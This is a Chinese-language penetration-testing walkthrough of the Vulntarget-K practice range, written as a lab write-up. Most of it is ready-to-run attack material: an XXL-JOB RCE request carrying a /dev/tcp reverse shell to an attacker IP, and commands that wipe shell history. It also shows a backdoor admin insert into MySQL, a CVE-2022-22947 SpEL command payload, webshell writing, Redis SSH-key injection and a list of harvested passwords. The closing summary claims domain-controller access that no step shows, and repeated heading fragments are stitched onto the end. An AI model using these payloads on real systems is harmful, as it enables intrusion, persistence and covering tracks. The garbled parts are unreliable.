Vulntarget-K 渗透测试实战教学文档<\/h1>

1. 目标概述<\/h2>
Vulntarget-K 是一个模拟实战靶标环境，包含多个漏洞点和渗透路径。本教学文档将详细分析整个渗透测试过程，涵盖外网打点、内网渗透、横向移动和权限提升等关键环节。<\/p>

2. 外网打点<\/h2>

2.1 信息收集<\/h3>

目标开放端口：<\/p>

22 (SSH)<\/li>
8081<\/li>
8080<\/li>

9999 (XXL-JOB)<\/li> <\/ul>

2.2 XXL-JOB 未授权RCE漏洞<\/h3>

漏洞描述<\/strong>：XXL-JOB executor存在未授权访问漏洞，可导致远程代码执行。<\/p>

利用步骤<\/strong>：<\/p>

访问目标地址：http:\/\/IP:9999\/xxl-job-admin<\/code><\/li>
发送以下POST请求执行命令：<\/li> <\/ol> POST<\/span> \/run HTTP<\/span>\/<\/span>1.1<\/span> <\/span><\/span>Host:<\/span> IP:9999<\/span> <\/span><\/span>Accept-Encoding:<\/span> gzip, deflate<\/span> <\/span><\/span>Accept:<\/span> *\/*<\/span> <\/span><\/span>Accept-Language:<\/span> en<\/span> <\/span><\/span>User-Agent:<\/span> Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/80.0.3987.132 Safari\/537.36<\/span> <\/span><\/span>Connection:<\/span> close<\/span> <\/span><\/span>Content-Type:<\/span> application\/json<\/span> <\/span><\/span>Content-Length:<\/span> 365<\/span> <\/span><\/span> <\/span><\/span>{ <\/span><\/span> "jobId"<\/span>: 1<\/span>, <\/span><\/span> "executorHandler"<\/span>: "demoJobHandler"<\/span>, <\/span><\/span> "executorParams"<\/span>: "demoJobHandler"<\/span>, <\/span><\/span> "executorBlockStrategy"<\/span>: "COVER_EARLY"<\/span>, <\/span><\/span> "executorTimeout"<\/span>: 0<\/span>, <\/span><\/span> "logId"<\/span>: 1<\/span>, <\/span><\/span> "logDateTime"<\/span>: 1586629003729<\/span>, <\/span><\/span> "glueType"<\/span>: "GLUE_SHELL"<\/span>, <\/span><\/span> "glueSource"<\/span>: "bash -i >& \/dev\/tcp\/攻击机IP\/1234 0>&1"<\/span>, <\/span><\/span> "glueUpdatetime"<\/span>: 1586699003758<\/span>, <\/span><\/span> "broadcastIndex"<\/span>: 0<\/span>, <\/span><\/span> "broadcastTotal"<\/span>: 0<\/span> <\/span><\/span>} <\/span><\/span><\/code><\/pre> 攻击机监听端口：nc -lvnp 1234<\/code><\/li> <\/ol> 2.3 痕迹清除技巧<\/h3> unset HISTORY HISTFILE HISTSAVE HISTZONE HISTORY HISTLOG; <\/span><\/span>export HISTFILE=<\/span>\/dev\/null; <\/span><\/span>export HISTSIZE=<\/span>0; <\/span><\/span>export HISTFILESIZE=<\/span>0<\/span> <\/span><\/span><\/code><\/pre>2.4 交互式Shell获取<\/h3> python3 -c 'import pty; pty.spawn("\/bin\/bash")'<\/span> <\/span><\/span>export SHELL=<\/span>bash <\/span><\/span>export TERM=<\/span>xterm-256color <\/span><\/span># 按Ctrl+Z<\/span> <\/span><\/span>stty raw -echo;fg <\/span><\/span>reset <\/span><\/span><\/code><\/pre>3. 内网渗透<\/h2> 3.1 数据库信息泄露<\/h3> 在获取的外网机权限中，发现xxl-job-admin-2.2.0.jar<\/code>文件，解压后发现数据库密码：<\/p> 用户名：root<\/li> 密码：root_pwd<\/li> <\/ul> 3.2 数据库利用<\/h3> 连接MySQL数据库：<\/li> <\/ol> mysql -uroot -proot_pwd <\/span><\/span><\/code><\/pre> 查询xxl_job_user表：<\/li> <\/ol> select<\/span> *<\/span> from<\/span> xxl_job_user; <\/span><\/span><\/code><\/pre>结果：<\/p> id | username | password | role | permission 1 | admin | 502e53a8aea0b1b0afcf5618d4702894 | 1 | NULL <\/code><\/pre> 添加新用户（密码123456的MD5）：<\/li> <\/ol> insert<\/span> into<\/span> xxl_job_user (id,username,password,role<\/span>,permission) <\/span><\/span>values<\/span> (2<\/span>,"admin1"<\/span>,"e10adc3949ba59abbe56e057f20f883e"<\/span>,1<\/span>,NULL<\/span>); <\/span><\/span><\/code><\/pre>3.3 通过XXL-JOB后台添加计划任务<\/h3> 登录admin1用户（密码123456）<\/li> 新增任务计划，设置cron表达式为：0 0 0 * * ?<\/code><\/li> 在GLUE IDE中写入反弹shell指令：<\/li> <\/ol> #!\/bin\/bash <\/span><\/span><\/span><\/span>bash -c 'exec bash -i &>\/dev\/tcp\/192.168.0.112\/9999 <&1'<\/span> <\/span><\/span><\/code><\/pre> 添加攻防计划任务<\/li> <\/ol> 3.4 内网扫描<\/h3> 使用fscan进行内网扫描：<\/p> .\/f -h 10.0.20.0\/24 -o res.txt <\/span><\/span><\/code><\/pre>扫描结果：<\/p> 10.0.20.130:8848 - nacos未授权漏洞<\/li> 10.0.20.130:8800 - Spring-Cloud-CVE-2022-22947 \/ heapdump泄露<\/li> 10.0.20.130:22 - SSH<\/li> <\/ul> 4. 隧道搭建<\/h2> 4.1 一级隧道<\/h3> 服务端配置（Kali）<\/strong>：<\/p> bindPort<\/span> =<\/span> 7000<\/span> <\/span><\/span><\/code><\/pre>客户端配置（靶机）<\/strong>：<\/p> serverAddr<\/span> =<\/span> "192.168.0.112"<\/span> <\/span><\/span>serverPort<\/span> =<\/span> 7000<\/span> <\/span><\/span> <\/span><\/span>[[proxies]]<\/span> <\/span><\/span>name<\/span> =<\/span> "socks5"<\/span> <\/span><\/span>type<\/span> =<\/span> "tcp"<\/span> <\/span><\/span>remotePort<\/span> =<\/span> 6001<\/span> <\/span><\/span>[proxies.plugin]<\/span> <\/span><\/span>type<\/span> =<\/span> "socks5"<\/span> <\/span><\/span><\/code><\/pre>4.2 二级隧道<\/h3> 二层代理配置<\/strong>：<\/p> serverAddr<\/span> =<\/span> "10.0.20.129"<\/span> <\/span><\/span>serverPort<\/span> =<\/span> 7000<\/span> <\/span><\/span> <\/span><\/span>[[proxies]]<\/span> <\/span><\/span>name<\/span> =<\/span> "socks5"<\/span> <\/span><\/span>type<\/span> =<\/span> "tcp"<\/span> <\/span><\/span>remotePort<\/span> =<\/span> 6001<\/span> <\/span><\/span>[proxies.plugin]<\/span> <\/span><\/span>type<\/span> =<\/span> "socks5"<\/span> <\/span><\/span><\/code><\/pre>4.3 proxychains配置<\/h3> socks5 192.168.0.112 6001 socks5 10.0.20.129 6001 <\/code><\/pre> 5. Nacos渗透<\/h2> 5.1 未授权添加用户<\/h3> proxychains curl -XPOST 'http:\/\/192.168.100.50:8848\/nacos\/v1\/auth\/users?username=test&password=test'<\/span> -H 'User-Agent: Nacos-Server'<\/span> <\/span><\/span><\/code><\/pre>5.2 配置文件泄露<\/h3> 发现敏感信息：<\/p> 数据库密码：Pabc@234%!<\/li> Redis密码：nbsg@123456<\/li> RabbitMQ凭据：用户名：admin<\/li> 密码：global2018<\/li> <\/ul> <\/li> <\/ul> 6. Spring Cloud Gateway漏洞利用<\/h2> 6.1 CVE-2022-22947<\/h3> 利用步骤<\/strong>：<\/p> 创建路由执行命令：<\/li> <\/ol> POST<\/span> \/actuator\/gateway\/routes\/test HTTP<\/span>\/<\/span>1.1<\/span> <\/span><\/span>Host:<\/span> 10.0.20.130:8800<\/span> <\/span><\/span>Content-Type:<\/span> application\/json<\/span> <\/span><\/span>Content-Length:<\/span> 325<\/span> <\/span><\/span> <\/span><\/span>{ <\/span><\/span> "id"<\/span>: "test"<\/span>, <\/span><\/span> "filters"<\/span>: [{ <\/span><\/span> "name"<\/span>: "AddResponseHeader"<\/span>, <\/span><\/span> "args"<\/span>: { <\/span><\/span> "name"<\/span>: "Result"<\/span>, <\/span><\/span> "value"<\/span>: "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"<\/span>, <\/span><\/span> "uri"<\/span>: "http:\/\/example.com"<\/span> <\/span><\/span> } <\/span><\/span> }] <\/span><\/span>} <\/span><\/span><\/code><\/pre> 刷新路由：<\/li> <\/ol> POST<\/span> \/actuator\/gateway\/refresh HTTP<\/span>\/<\/span>1.1<\/span> <\/span><\/span>Host:<\/span> 10.0.20.130:8800<\/span> <\/span><\/span>Content-Type:<\/span> application\/x-www-form-urlencoded<\/span> <\/span><\/span>Content-Length:<\/span> 0<\/span> <\/span><\/span><\/code><\/pre> 访问路由查看结果：<\/li> <\/ol> GET<\/span> \/actuator\/gateway\/routes\/test HTTP<\/span>\/<\/span>1.1<\/span> <\/span><\/span>Host:<\/span> 10.0.20.130:8800<\/span> <\/span><\/span><\/code><\/pre>6.2 写入Webshell<\/h3> 修改value参数写入哥斯拉木马：<\/p> #<\/span>{<\/span>new<\/span> String(<\/span>T(<\/span>org.<\/span>springframework<\/span>.<\/span>util<\/span>.<\/span>StreamUtils<\/span>).<\/span>copyToByteArray<\/span>(<\/span>T(<\/span>java.<\/span>lang<\/span>.<\/span>Runtime<\/span>).<\/span>getRuntime<\/span>().<\/span>exec<\/span>(<\/span>new<\/span> String[]{<\/span>"bash"<\/span>,<\/span>"-c"<\/span>,<\/span>"echo '恶意代码' > \/path\/to\/shell.jsp"<\/span>}).<\/span>getInputStream<\/span>()))}<\/span> <\/span><\/span><\/code><\/pre>7. Redis公钥登录<\/h2> 7.1 生成SSH密钥<\/h3> ssh-keygen -t rsa -b 2048<\/span> <\/span><\/span><\/code><\/pre>7.2 写入Redis<\/h3> (<\/span>echo -e "\n"<\/span>; cat id_rsa.pub; echo -e "\n"<\/span>)<\/span> > key.txt <\/span><\/span>cat key.txt | proxychains redis-cli -h 10.0.10.134 -a "nbsg@123456"<\/span> -x set bolean <\/span><\/span><\/code><\/pre>7.3 配置Redis<\/h3> proxychains redis-cli -h 10.0.10.134 -a "nbsg@123456"<\/span> <\/span><\/span>config set dir \/root\/.ssh\/ <\/span><\/span>config set dbfilename "authorized_keys"<\/span> <\/span><\/span>save <\/span><\/span><\/code><\/pre>7.4 SSH登录<\/h3> proxychains ssh -i id_rsa root@10.0.10.134 <\/span><\/span><\/code><\/pre>8. 总结<\/h2> 整个渗透路径如下：<\/p> 外网通过XXL-JOB未授权RCE获取初始立足点<\/li> 发现数据库凭据并添加后台用户<\/li> 通过计划任务获取稳定shell<\/li> 内网扫描发现nacos和spring cloud服务<\/li> 搭建多层隧道进行内网穿透<\/li> 利用nacos未授权添加用户<\/li> 利用Spring Cloud Gateway漏洞执行命令<\/li> 通过Redis写入公钥实现免密登录<\/li> 最终获取域控权限<\/li> <\/ol> 关键凭证汇总<\/strong>：<\/p> XXL-JOB数据库：root\/root_pwd<\/li> 其他数据库：root\/Pabc@234%!<\/li> Redis：nbsg@123456<\/li> RabbitMQ：admin\/global2018<\/li> <\/ul>

Vulntarget-K 渗透测试实战教学文档<\/h1>

1. 目标概述<\/h2> Vulntarget-K 是一个模拟实战靶标环境，包含多个漏洞点和渗透路径。本教学文档将详细分析整个渗透测试过程，涵盖外网打点、内网渗透、横向移动和权限提升等关键环节。<\/p>

2. 外网打点<\/h2>

3. 内网渗透<\/h2>

4. 隧道搭建<\/h2>

5. Nacos渗透<\/h2>

6. Spring Cloud Gateway漏洞利用<\/h2>

7. Redis公钥登录<\/h2>

1. 目标概述<\/h2>
Vulntarget-K 是一个模拟实战靶标环境，包含多个漏洞点和渗透路径。本教学文档将详细分析整个渗透测试过程，涵盖外网打点、内网渗透、横向移动和权限提升等关键环节。<\/p>